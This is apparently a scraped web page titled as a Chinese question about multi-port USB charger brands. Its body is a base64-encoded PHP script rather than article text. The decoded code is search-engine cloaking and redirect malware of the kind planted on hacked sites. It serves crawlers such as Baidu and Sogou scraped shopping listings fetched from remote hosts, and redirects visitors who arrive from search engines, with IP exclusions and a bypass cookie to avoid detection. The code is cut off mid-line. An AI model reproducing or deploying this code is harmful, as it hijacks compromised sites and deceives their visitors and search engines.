多口usb充电器什么牌子好
2016-05-25 05:35:24
ICRrZXlOYW1lID0n5aSa5Y+jdXNi5YWF55S15Zmo5LuA5LmI54mM5a2Q5aW9JzsgCgpmdW5jdGlv biBBcHBfR2V0TGluaygpewkKCXJldHVybiAiaHR0cDovL3d3dy5zaGFpYmFvai5jb20vYXJ0aWNs ZS0iLnJhbmQoMTAwMDAwMDAsOTk5OTk5OTkpLiItMS5odG1sIjsKfQoKZnVuY3Rpb24gQXBwX0dl dFNlbGYoKXsKCXJldHVybiAiaHR0cDovL3d3dy5zaGFpYmFvai5jb20vYXJ0aWNsZS0iLnJhbmQo MTAwMDAwMDAsOTk5OTk5OTkpLiItMS5odG1sIjsKfQoKCi8vwrfCtcK7w5jDjcK8w4bCrApmdW5j dGlvbiBnZXRJbWcoKXsKCXJldHVybiAnaHR0cDovL3d3dy5zaGFpYmFvai5jb20vaW1nLzIwMTUx MTA2L2xxJy5yYW5kKDEsMjApLiIuanBnIjsKfQoKCgoKZnVuY3Rpb24gcm5kU3RyKCRsZW5ndGg9 OCl7Cgkkc3RyID0gbnVsbDsKCSRzdHJQb2wgPSAiMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3Bx cnN0dXZ3eHl6IjsKCSRtYXggPSBzdHJsZW4oJHN0clBvbCktMTsKCWZvcigkaT0wOyRpPCRsZW5n dGg7JGkrKyl7CgkJJHN0ci49JHN0clBvbFtyYW5kKDAsJG1heCldOwoJfQoJcmV0dXJuICRzdHI7 Cn0KCmNsYXNzIGNvcmVBcHBDYWNoZXsKCQoJcHVibGljIGZ1bmN0aW9uIHdyaXRlKCRmaWxlLCRm aWxlbmFtZSl7CgkJcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSxzZWxmOjplbmNv ZGUoJGZpbGUpKTsKCX0KCXB1YmxpYyBmdW5jdGlvbiB3cml0ZW5vY29kZSgkZmlsZSwkZmlsZW5h bWUpewoJCXJldHVybiBmaWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUsJGZpbGUpOwoJfQoJcHVi bGljIGZ1bmN0aW9uIHJlYWQoJGZpbGVuYW1lKXsKCQkkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRl bnRzKCRmaWxlbmFtZSk7CgkJaWYoc3RyaXN0cigkY29udGVudCwiPC9leHBsb2RlPiIpKXsKCQkJ JGNvbnRlbnQgPSBzZWxmOjpjdXQoJGNvbnRlbnQsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsK CQl9CgkJcmV0dXJuIHNlbGY6OmRlY29kZSgkY29udGVudCk7Cgl9CgoJcHVibGljIGZ1bmN0aW9u IGVuY29kZSgkZmlsZSl7CgkJcmV0dXJuIGJhc2U2NF9lbmNvZGUoZ3pjb21wcmVzcyhzZXJpYWxp emUoJGZpbGUpKSk7IAoJfQoKCXB1YmxpYyBmdW5jdGlvbiBkZWNvZGUoJGZpbGUpewoJCXJldHVy biB1bnNlcmlhbGl6ZShnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgkZmlsZSkpKTsgCgl9CgkK CXB1YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhw bG9kZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7 IAoJCXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoKCgokbXlfY29udGVudD0nJzsKaWYoIWVt cHR5KCRrZXlOYW1lKSl7CgkkcXVlcnlfZGF0YSA9IGFycmF5KCdxJz0+JGtleU5hbWUsKTsKCSRt eV9hbGltYW1hID0gbmV3IGFsaW1hbWEoJHF1ZXJ5X2RhdGEpOwoJJG15X2FsaW1hbWEtPnF1ZXJ5 KCk7CgkkbXlfY29udGVudCA9ICRteV9hbGltYW1hLT5odG1sKCk7Cn0KJGRhdGEgPSBzdHJfcmVw bGFjZSgnPHBocHVsPjwvcGhwdWw+JywkbXlfY29udGVudCwkZGF0YSk7CmlmKHN0cnBvcygkZGF0 YSwiW2l0ZW06bWVudV0iKSE9PSBmYWxzZSYmIWVtcHR5KCRrZXlOYW1lKSl7CgkkdGFnX3VybCA9 ICdodHRwczovL3N1Z2dlc3QudGFvYmFvLmNvbS9zdWc/Y29kZT11dGYtOCZxPScudXJsZW5jb2Rl KCRrZXlOYW1lKTsKCSR0YWdfY29udGVudCA9IGFsaW1hbWE6Okh0dHBWaXNpdCgkdGFnX3VybCk7 CgkkdGFnX2pzb24gPSBqc29uX2RlY29kZSgkdGFnX2NvbnRlbnQsdHJ1ZSk7CgkkdGFnX21lbnUg PSAnJzsKCWZvcmVhY2ggKCR0YWdfanNvblsncmVzdWx0J10gYXMgJGtleSA9PiAkdmFsdWUpIHsK CQkkaHR0cF9ob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwoJCSRwaHBfc2VsZiA9ICRfU0VS VkVSWydQSFBfU0VMRiddOwogCQkkdGFnX2l0ZW1fdXJsPSdodHRwOi8vJy4kaHR0cF9ob3N0LiRw aHBfc2VsZi4nP2tleU5hbWU9Jy51cmxlbmNvZGUoJHZhbHVlWzBdKTsKCQkkdGFnX21lbnUgPSAk dGFnX21lbnUuJzxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLiR0YWdfaXRlbV91cmwuJyI+Jy4k dmFsdWVbMF0uJzwvYT4nOwoJfQoJJGRhdGEgPSBzdHJfcmVwbGFjZSgnW2l0ZW06bWVudV0nLCR0 YWdfbWVudSwkZGF0YSk7Cn0KCmNsYXNzIGFsaW1hbWF7CgkKCXB1YmxpYyAkc2hvd19zcGlkZXI7 CglwdWJsaWMgJGp1bXBfcmVmOwoJcHVibGljICRodHRwX3JlZl9maWx0ZXI7CglwdWJsaWMgJGp1 bXBfdXJsID0gIiI7CglwdWJsaWMgJGRvbWFpbiA9ICIiOwoJcHVibGljICRjb25kaXRpb24gPSAi IjsKCXB1YmxpYyAkYXBwX3NlcnZlciA9ICIiOwoJcHVibGljICRsb2dfc3BpZGVyID0gIiI7Cglw dWJsaWMgJGN1cl9zcGlkZXIgPSAiIjsKCXB1YmxpYyAkYWxsb3dfaXAgPSAiIjsKCXB1YmxpYyAk aXNDYWNoZSA9IGZhbHNlOwoJcHVibGljICRjcmF3bF91cmwgPSAiaHR0cDovL3B1Yi5hbGltYW1h LmNvbS9pdGVtcy9zZWFyY2guanNvbiI7CglwdWJsaWMgJHF1ZXJ5X2RhdGE7CglwdWJsaWMgJGNv bnRlbnQ7CgoJcHVibGljICRsaV90ZW1wbGF0ZT0iPGxpPgogIDxkaXYgY2xhc3M9J2xpX2xpc3Qn IG9ubW91c2VvdmVyPSd0aGlzLmNsYXNzTmFtZT0nbGlfaG92ZXInJyBvbm1vdXNlb3V0PSd0aGlz LmNsYXNzTmFtZT0nbGlfbGlzdCcnPgogICAgPGRpdiBjbGFzcz0nbmV3Jz48L2Rpdj4KICAgIDxk aXYgY2xhc3M9J2NvbGxlY3QnPjxhIGhyZWY9J2phdmFzY3JpcHQ6Oyc+PC9hPjwvZGl2PgogICAg PGRpdiBjbGFzcz0ncGljJz48YSBocmVmPSd7dXJsfScgdGFyZ2V0PSdfYmxhbmsnPiA8aW1nIHNy Yz0ne3BpY3VybH0nPjwvYT48L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3RpdGxlJz4gPGEgaHJlZj0n e3VybH0nIHRhcmdldD0nX2JsYW5rJz57dGl0bGV9PC9hPjwvZGl2PgogICAgPGRpdiBjbGFzcz0n bW9uZXlfYmcnPiAKCSAgICA8c3Bhbj48ZW0gY2xhc3M9J21vbmV5X3N5bWJvbCc+77+lPC9lbT48 ZW0gY2xhc3M9J21vbmV5X251bSc+e3ByaWNlfTwvZW0+PC9zcGFuPiAKCSAgICA8c3BhbiBjbGFz cz0nZnhfbW9uZXlfYmcnPiA8ZW0gY2xhc3M9J3poZWtvdSBpdGVtJyBzdHlsZT0ndmlzaWJpbGl0 eTogdmlzaWJsZTsnPjxiPntuaWNrfTwvYj48L2VtPiAKCSAgICA8ZW0gY2xhc3M9J3FpYW5nb3Un PjwvZW0+IAogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSd0anBfYm90dG9tX2JnJz4KICAgICAg PGRpdiBjbGFzcz0ndGpwX2JvdHRvbSc+CiAgICAgICAgPGRpdiBjbGFzcz0ndGpwX2ZhYnUgY29s b3JfOTknPnt0b3RhbEZlZX08L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSd0anBfeGlhb2JpYW4g Y29sb3JfNjYnPnt0b3RhbE51bX08L2Rpdj4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICA8L2Rp dj4KPC9saT4gIjsKCgkvL+WumuS5ieaehOmAoOWHveaVsO+8jOeUqOS6juWIneWni+WMlui1i+WA vAogICAgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHF1ZXJ5X2RhdGEpCiAgICB7CiAgICAgICAgICR0 aGlzLT5xdWVyeV9kYXRhID0gJHF1ZXJ5X2RhdGE7ICAgICAgICAvL+i/memHjOW3sue7j+S9v+eU qOS6hnRoaXPmjIfpkojor63lj6XikaAKICAgIH0KCglwdWJsaWMgZnVuY3Rpb24gc2V0UXVlcnlE YXRhKCRxdWVyeV9kYXRhKXsKCQkkdGhpcy0+cXVlcnlfZGF0YSA9ICRxdWVyeV9kYXRhOwoJCXJl dHVybiB0cnVlOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBodG1sKCl7CgkJJGNvbnRlbnQgPSAkdGhp cy0+Y29udGVudDsKCQkkYWxpbWFtYV9qc29uID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsdHJ1ZSk7 CgkJJGh0bWwgPSAiPHVsPiI7CgkJZm9yZWFjaCAoJGFsaW1hbWFfanNvblsnZGF0YSddWydwYWdl TGlzdCddIGFzICRrZXkgPT4gJHZhbHVlKSB7CgkgCQkkaXRlbV91cmw9JHZhbHVlWydhdWN0aW9u VXJsJ107CgkgCQkkaXRlbV90aXRsZT0kdmFsdWVbJ3RpdGxlJ107CgkgCQkkaXRlbV9wcmljZT0k dmFsdWVbJ3prUHJpY2UnXTsKCSAJCSRpdGVtX3BpY3RVcmw9JHZhbHVlWydwaWN0VXJsJ10uJ180 MDB4NDAwXy53ZWJwJzsKCSAJCSRpdGVtX25pY2s9JHZhbHVlWyduaWNrJ107CgkgCQkkaXRlbV90 b3RhbE51bT0n5oC76ZSA6YePOicuJHZhbHVlWyd0b3RhbE51bSddOwoJIAkJJGl0ZW1fdG90YWxG ZWU9J+aAu+S6pOaYk+minTonLiR2YWx1ZVsndG90YWxGZWUnXTsKCgkJCSRodHRwX2hvc3QgPSAk X1NFUlZFUlsnSFRUUF9IT1NUJ107CiAJCQkkcGhwX3NlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYn XTsKCSAJCSRpdGVtX3VybD0naHR0cDovLycuJGh0dHBfaG9zdC4kcGhwX3NlbGYuJz9nb3R1PScu YmFzZTY0X2VuY29kZSgkaXRlbV91cmwpOwoKCSAJCSRpdGVtX3BpY3RVcmw9J2h0dHA6Ly9pLmth bnR1LmluLycuYmFzZTY0X2VuY29kZSgkaXRlbV9waWN0VXJsKTsKCgkJCSRsaSA9ICR0aGlzLT5s aV90ZW1wbGF0ZTsKCgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7dGl0bGV9JywkaXRlbV90aXRsZSwk bGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3ByaWNlfScsJGl0ZW1fcHJpY2UsJGxpKTsKCQkJ JGxpID0gc3RyX3JlcGxhY2UoJ3t1cmx9JywkaXRlbV91cmwsJGxpKTsKCQkJJGxpID0gc3RyX3Jl cGxhY2UoJ3twaWN1cmx9JywkaXRlbV9waWN0VXJsLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNl KCd7dG90YWxOdW19JywkaXRlbV90b3RhbE51bSwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgn e25pY2t9JywkaXRlbV9uaWNrLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7dG90YWxGZWV9 JywkaXRlbV90b3RhbEZlZSwkbGkpOwoKCQkJJGh0bWwgPSAkaHRtbC4kbGk7CgkgCQkvLyBlY2hv ICRsaTsKCSAJfQoJIAkkaHRtbCA9ICRodG1sLiI8L3VsPiI7CgkJcmV0dXJuICRodG1sOwoJfQoK CXB1YmxpYyBmdW5jdGlvbiBxdWVyeSgpewoJCSR1cmwgID0gJHRoaXMtPmNyYXdsX3VybC4nPycu aHR0cF9idWlsZF9xdWVyeSgkdGhpcy0+cXVlcnlfZGF0YSk7CgkJJHRoaXMtPmNvbnRlbnQgPSAk dGhpcy0+SHR0cFZpc2l0KCR1cmwpOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBydW4oKXsKCQkkdGhp cy0+ZG9tYWluID0gJHRoaXMtPmdldFNlcnZlck5hbWUoKTsKCQkkdGhpcy0+anVtcF9yZWYgPSBl eHBsb2RlKCJ8IiwiYmFpZHUufGhhb3NvLnxoYW9zb3UufGJpbmcufHNvLnxzb2dvdS58c29zby4i KTsKCQkkdGhpcy0+aHR0cF9yZWZfZmlsdGVyID0gZXhwbG9kZSgifCIsImludXJsOnxzaXRlOnxz aXRlJTNBfGludXJsJTNBIik7CgkJJHRoaXMtPmFsbG93X2lwID0gIjIyMi4xODQuMjM0fDExMi44 Ny43MXw1OC4yMjEuODcufDQ5LjY3LjIyMyI7CgkJJHRoaXMtPmNvbmRpdGlvbiA9ICgkX0dFVFsn YWlkJ10gPiAxMDAwMDAwMCAmJiAkdGhpcy0+aXNBbGxvd2RJcCgpKTsKCQkkdGhpcy0+YXBwX3Nl cnZlciA9ICIiOwoJCSR0aGlzLT5pc0NhY2hlICA9IEZhbHNlOwoJCWlmKCR0aGlzLT5pc1NwaWRl cigpICYmICR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkJaWYoJHRoaXMtPmNvbmRpdGlvbil7CgkJ CQkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkJCQkkcmVsc2V0X2hvc3QgPSAkdGhpcy0+Z2V0U2Vy dmVyTmFtZSgpOwoJCQkJCQkkZGlyID0gKHN1YnN0cihQSFBfT1MsIDAsIDMpID09ICdXSU4nID8g J0M6L3dpbmRvd3MvdGVtcC8nIDogJy90bXAvJykgLiBzdWJzdHIobWQ1KCRyZWxzZXRfaG9zdCks IDI2KSAuIGNocig0Nyk7CgkJCQkJCSRjYWNoZUZpbGUgPSAkZGlyLidzZXNzXycgLiBzdWJzdHIo bWQ1KGh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpKSwgNik7CgkJCQkJCWlmKCFAZmlsZV9leGlzdHMo JGRpcikpewogICAgICAgICAgICAgCQkJCSBta2RpcigkZGlyLCAwNzc3KTsKICAgICAgICAgICAg CQkJfQoJCQkJCQlpZihAZmlsZV9leGlzdHMoJGNhY2hlRmlsZSkgJiYgQGZpbGVzaXplICgkY2Fj aGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29yZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZp bGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7 CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYpewoJCQkJCQkJCSRmbGFnID0gInsiLiRr ZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJ CQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNl CgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQUMK8wrTCv8OJCgkJCQkJCQkkY3VycmVu dFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUpOwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdl ICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYgc3RyaXN0cigkY3VycmVudFBhZ2UsIjwv ZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6OmN1dCgkY3VycmVudFBhZ2UsIjxleHBs b2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFyID0gY29yZUFwcENhY2hlOjpkZWNvZGUo JHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250ZW50cyhBUFBfSkFDS19URU1QTEFU RSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAi eyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2Up OwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJCQkJCQkJCUBjb3JlQXBwQ2FjaGU6Ondy aXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxlKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJ CQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsKCQkJCQkJJGN1cnJlbnRQYWdlID0gaW5j bHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNobyAkY3VycmVudFBhZ2U7CgkJCQkJCWRp ZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsKCgkJCQkJJHRoaXMtPl91bmNvbmRpdGlv bl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJCQlpZigkdGhpcy0+aXNSZWYoKSAmJiAk dGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1wKCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJ CQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJCX0KCX0KCglwdWJsaWMgZnVuY3Rpb24g aXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGllbnRJcCgpOwoJCSRub25fbGlzdCA9IGV4 cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9yZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlz dCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0K CQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGNsaWVudElwKCl7CgkJaWYo Z2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVO VF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9IGdldGVudignSFRUUF9DTElFTlRf SVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJykgJiYgc3RyY2Fz ZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJyksICd1bmtub3duJykpIHsKCQkJJG9u bGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpOwoJCX0gZWxzZWlmKGdldGVu dignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdldGVudignUkVNT1RFX0FERFInKSwgJ3Vu a25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYoJ1JFTU9URV9BRERSJyk7CgkJfSBlbHNl aWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pICYmICRfU0VSVkVSWydSRU1PVEVfQURE UiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICd1bmtub3duJykpIHsK CQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CgkJfQoJCXByZWdfbWF0Y2go Ii9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25saW5laXBtYXRjaGVzKTsKCQkkb25saW5l aXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGluZWlwbWF0Y2hlc1swXSA6ICd1bmtub3du JzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQlyZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1 YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3RzID0gYXJyYXkoCgkJCQknQmFpZHUnICAg ICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291JyAgICAgICAgPT4gJ3NvZ291JywKCQkJ CSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXInLAoJCQkJJzM2MHNwaWRlcicgICAgICAg ID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJb J0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgkYm90cyBhcyAkayA9PiAkdil7CgkJCWlm IChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlmKCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRl cikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhpcy0+bG9nX3NwaWRlciwkdi4iLT5WaXNp dGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJhdDogIi5kYXRlKCJZLW0tZCBIOmk6cyIp LiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRoaXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJ CXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglw dWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0gc3RydG9sb3dlcihAJF9TRVJWRVJbJ0hU VFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJRVsiZG9tYWluLWZpbHRlci1ieXBhc3Mi XSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlmKCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsK CQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFzcyIsICJsb2wiLCB0aW1lKCkgKyAyNTky MDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3JlYWNoKCR0aGlzLT5odHRwX3JlZl9maWx0 ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlpZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJ CXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3MiLCAibG9sIiwgdGltZSgpICsgMjU5MjAw KTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJCWZvcmVhY2goJHRoaXMtPmp1bXBfcmVm IGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYoc3RyaXN0cigkcmVmLCRyKSl7CgkJCQly ZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgp IAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/ JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0 cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJeyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNl KCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0gCgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAK CX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJCWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJ JGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWlu PSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVyPSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZj YWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9idWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0 dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9CgogICAgcHVibGljIGZ1bmN0aW9uIEh0dHBW aXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQgPSAiTW96aWxsYS81LjAgKE1hY2ludG9z aDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlr ZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZhcmkvNTM3LjM2IFFRQnJvd3Nlci8zLjku Mzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0 aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAgICAgICAgJGN1cmwgPSBAY3VybF9pbml0 KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwp OwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSLCAwKTsKICAg ICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7 CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwg MSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1 c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwp OwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAg ICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFtX2NvbnRleHRfY3JlYXRlJykpIHsKICAg ICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJheSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhv ZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwogICAgICAgICAgICAgICAgJGh0dHBfaGVh ZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVhZGVyX2FycmF5KTsKICAgICAgICAgICAg ICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0 dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICR0ZW1wX3Vy bCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAgICAgICAgICAgICRuZXdfdXJsID0gJHRl bXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9IDgwOwogICAgICAgICAgICAg ICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0cmxlbigkbmV3X3VybCkgKyA3KTsKICAg ICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmwsIGNocig1OCkpKSB7CiAgICAgICAgICAg ICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhwbG9kZShjaHIoNTgpLCAkbmV3X3VybCk7 CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAkc192YXJfYXJyYXlbJ3RkJ11bMF07CiAg ICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRzX3Zhcl9hcnJheVsndGQnXVsxXTsKICAg ICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRmc29ja19yZXN1bHQgPSBAZnNvY2tvcGVu KCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAgICAgICAgIEBmcHV0cygkZnNvY2tfcmVz dWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAvMS4xJyAuICJcclxuIiAuICdIb3N0Oicg LiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9uOkNsb3NlJyAuICJcclxuXHJcbiIpOwog ICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29ja19yZXN1bHQpKSB7CiAgICAgICAgICAg ICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRmc29ja19yZXN1bHQsIDEwMjQpOwogICAg ICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnNvY2tfcmVzdWx0KTsKICAg ICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlbW90ZV9kYXRhOwogICAgfQoK CXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRoaXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRk b21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhpcy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdM 